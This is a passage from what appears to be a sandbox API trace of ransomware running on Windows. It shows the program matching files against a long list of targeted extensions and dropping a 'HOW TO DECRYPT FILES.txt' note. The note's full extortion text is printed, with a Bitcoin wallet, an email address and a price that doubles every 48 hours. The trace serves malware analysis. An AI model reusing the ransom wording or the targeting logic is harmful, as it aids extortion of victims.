(lpString="*.svg") returned 5 [0107.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.psd") returned 0 [0107.034] lstrlenA (lpString="*.psd") returned 5 [0107.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.vmx") returned 0 [0107.034] lstrlenA (lpString="*.vmx") returned 5 [0107.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.vmdk") returned 0 [0107.034] lstrlenA (lpString="*.vmdk") returned 6 [0107.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.vdi") returned 0 [0107.034] lstrlenA (lpString="*.vdi") returned 5 [0107.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.lay6") returned 0 [0107.034] lstrlenA (lpString="*.lay6") returned 6 [0107.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.mpeg") returned 0 [0107.034] lstrlenA (lpString="*.mpeg") returned 6 [0107.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.djvu") returned 0 [0107.034] lstrlenA (lpString="*.djvu") returned 6 [0107.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.tiff") returned 0 [0107.035] lstrlenA (lpString="*.tiff") returned 6 [0107.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.backup") returned 0 [0107.035] lstrlenA (lpString="*.backup") returned 8 [0107.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.pdf") returned 0 [0107.035] lstrlenA (lpString="*.pdf") returned 5 [0107.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.cert") returned 0 [0107.035] lstrlenA (lpString="*.cert") returned 6 [0107.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.docm") returned 0 [0107.035] lstrlenA (lpString="*.docm") returned 6 [0107.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.xlsm") returned 0 [0107.035] lstrlenA (lpString="*.xlsm") returned 6 [0107.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.dwg") returned 0 [0107.035] lstrlenA (lpString="*.dwg") returned 5 [0107.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.nd") returned 0 [0107.035] lstrlenA (lpString="*.nd") returned 4 [0107.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.tlg") returned 0 [0107.036] lstrlenA (lpString="*.tlg") returned 5 [0107.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.lgb") returned 0 [0107.036] lstrlenA (lpString="*.lgb") returned 5 [0107.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.mov") returned 0 [0107.036] lstrlenA (lpString="*.mov") returned 5 [0107.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.xdw") returned 0 [0107.036] lstrlenA (lpString="*.xdw") returned 5 [0107.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.ods") returned 0 [0107.036] lstrlenA (lpString="*.ods") returned 5 [0107.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.wav") returned 0 [0107.036] lstrlenA (lpString="*.wav") returned 5 [0107.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.mp3") returned 0 [0107.036] lstrlenA (lpString="*.mp3") returned 5 [0107.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.aiff") returned 0 [0107.036] lstrlenA (lpString="*.aiff") returned 6 [0107.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.flac") returned 0 [0107.036] lstrlenA (lpString="*.flac") returned 6 [0107.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.m4a") returned 0 [0107.037] lstrlenA (lpString="*.m4a") returned 5 [0107.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll", pszSpec="*.csv") returned 0 [0107.037] lstrlenA (lpString="*.csv") returned 5 [0107.037] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf38360ff, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf38360ff, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf3940aa1, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x533600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Xml.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0107.037] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.037] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3a252e2, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf3a252e2, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf3a252e2, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="461d3b6b3f43e6fbe6c897d5936e17e4", cAlternateFileName="461D3B~1")) returned 0 [0107.037] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.037] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d375cac, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d375cac, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d375cac, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Xml.Linq", cAlternateFileName="SYSTEM~2.LIN")) returned 1 [0107.037] lstrcmpA (lpString1=".", lpString2="System.Xml.Linq") returned -1 [0107.037] lstrcmpA (lpString1="..", lpString2="System.Xml.Linq") returned -1 [0107.037] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0107.037] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Xml.Linq" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq" [0107.037] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq") returned 62 [0107.038] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d375cac, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d375cac, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d375cac, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.038] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.038] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d375cac, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d375cac, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d375cac, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.038] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.038] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.038] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d375cac, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d375cac, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d375cac, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="70aac9dff3bdde548962557151c1ff49", cAlternateFileName="70AAC9~1")) returned 1 [0107.038] lstrcmpA (lpString1=".", lpString2="70aac9dff3bdde548962557151c1ff49") returned -1 [0107.039] lstrcmpA (lpString1="..", lpString2="70aac9dff3bdde548962557151c1ff49") returned -1 [0107.039] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\*.*") returned="*.*" [0107.039] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\", lpString2="70aac9dff3bdde548962557151c1ff49" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49" [0107.039] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49") returned 95 [0107.039] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d375cac, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d375cac, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d375cac, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.039] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.039] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d375cac, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d375cac, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d375cac, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.039] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.039] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.039] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d30388b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d30388b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d3299eb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Xml.Linq.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0107.040] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.040] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xml.Linq.ni.dll") returned -1 [0107.040] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xml.Linq.ni.dll") returned -1 [0107.040] lstrcmpiA (lpString1="", lpString2="System.Xml.Linq.ni.dll") returned -1 [0107.040] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\*.*") returned="*.*" [0107.040] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\" [0107.040] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\") returned="" [0107.040] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\HOW TO DECRYPT FILES.txt" [0107.040] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml.linq\\70aac9dff3bdde548962557151c1ff49\\how to decrypt files.txt")) returned 0xffffffff [0107.040] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml.linq\\70aac9dff3bdde548962557151c1ff49\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.041] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0107.041] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0107.043] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.044] CloseHandle (hObject=0x90) returned 1 [0107.044] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\", lpString2="System.Xml.Linq.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll" [0107.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.ems") returned 0 [0107.044] lstrlenA (lpString="*.ems") returned 5 [0107.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.db") returned 0 [0107.046] lstrlenA (lpString="*.db") returned 4 [0107.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.dbf") returned 0 [0107.046] lstrlenA (lpString="*.dbf") returned 5 [0107.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.myox") returned 0 [0107.046] lstrlenA (lpString="*.myox") returned 6 [0107.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.myo") returned 0 [0107.046] lstrlenA (lpString="*.myo") returned 5 [0107.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.qbw") returned 0 [0107.046] lstrlenA (lpString="*.qbw") returned 5 [0107.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.qbb") returned 0 [0107.047] lstrlenA (lpString="*.qbb") returned 5 [0107.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.qbm") returned 0 [0107.047] lstrlenA (lpString="*.qbm") returned 5 [0107.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.qbo") returned 0 [0107.047] lstrlenA (lpString="*.qbo") returned 5 [0107.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.qbx") returned 0 [0107.047] lstrlenA (lpString="*.qbx") returned 5 [0107.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.qba") returned 0 [0107.047] lstrlenA (lpString="*.qba") returned 5 [0107.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.qby") returned 0 [0107.047] lstrlenA (lpString="*.qby") returned 5 [0107.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.qbj") returned 0 [0107.047] lstrlenA (lpString="*.qbj") returned 5 [0107.047] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.ofx") returned 0 [0107.047] lstrlenA (lpString="*.ofx") returned 5 [0107.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.qif") returned 0 [0107.048] lstrlenA (lpString="*.qif") returned 5 [0107.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.mye") returned 0 [0107.048] lstrlenA (lpString="*.mye") returned 5 [0107.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.mbox") returned 0 [0107.048] lstrlenA (lpString="*.mbox") returned 6 [0107.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.eml") returned 0 [0107.048] lstrlenA (lpString="*.eml") returned 5 [0107.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.pst") returned 0 [0107.048] lstrlenA (lpString="*.pst") returned 5 [0107.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.ost") returned 0 [0107.048] lstrlenA (lpString="*.ost") returned 5 [0107.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.idx") returned 0 [0107.048] lstrlenA (lpString="*.idx") returned 5 [0107.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.dbx") returned 0 [0107.048] lstrlenA (lpString="*.dbx") returned 5 [0107.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.sql") returned 0 [0107.048] lstrlenA (lpString="*.sql") returned 5 [0107.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.mdb") returned 0 [0107.049] lstrlenA (lpString="*.mdb") returned 5 [0107.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.fdb") returned 0 [0107.049] lstrlenA (lpString="*.fdb") returned 5 [0107.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.wab") returned 0 [0107.049] lstrlenA (lpString="*.wab") returned 5 [0107.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.dat") returned 0 [0107.049] lstrlenA (lpString="*.dat") returned 5 [0107.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.txt") returned 0 [0107.049] lstrlenA (lpString="*.txt") returned 5 [0107.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.jpeg") returned 0 [0107.049] lstrlenA (lpString="*.jpeg") returned 6 [0107.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.jpg") returned 0 [0107.049] lstrlenA (lpString="*.jpg") returned 5 [0107.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.png") returned 0 [0107.049] lstrlenA (lpString="*.png") returned 5 [0107.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.php") returned 0 [0107.050] lstrlenA (lpString="*.php") returned 5 [0107.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.cs") returned 0 [0107.050] lstrlenA 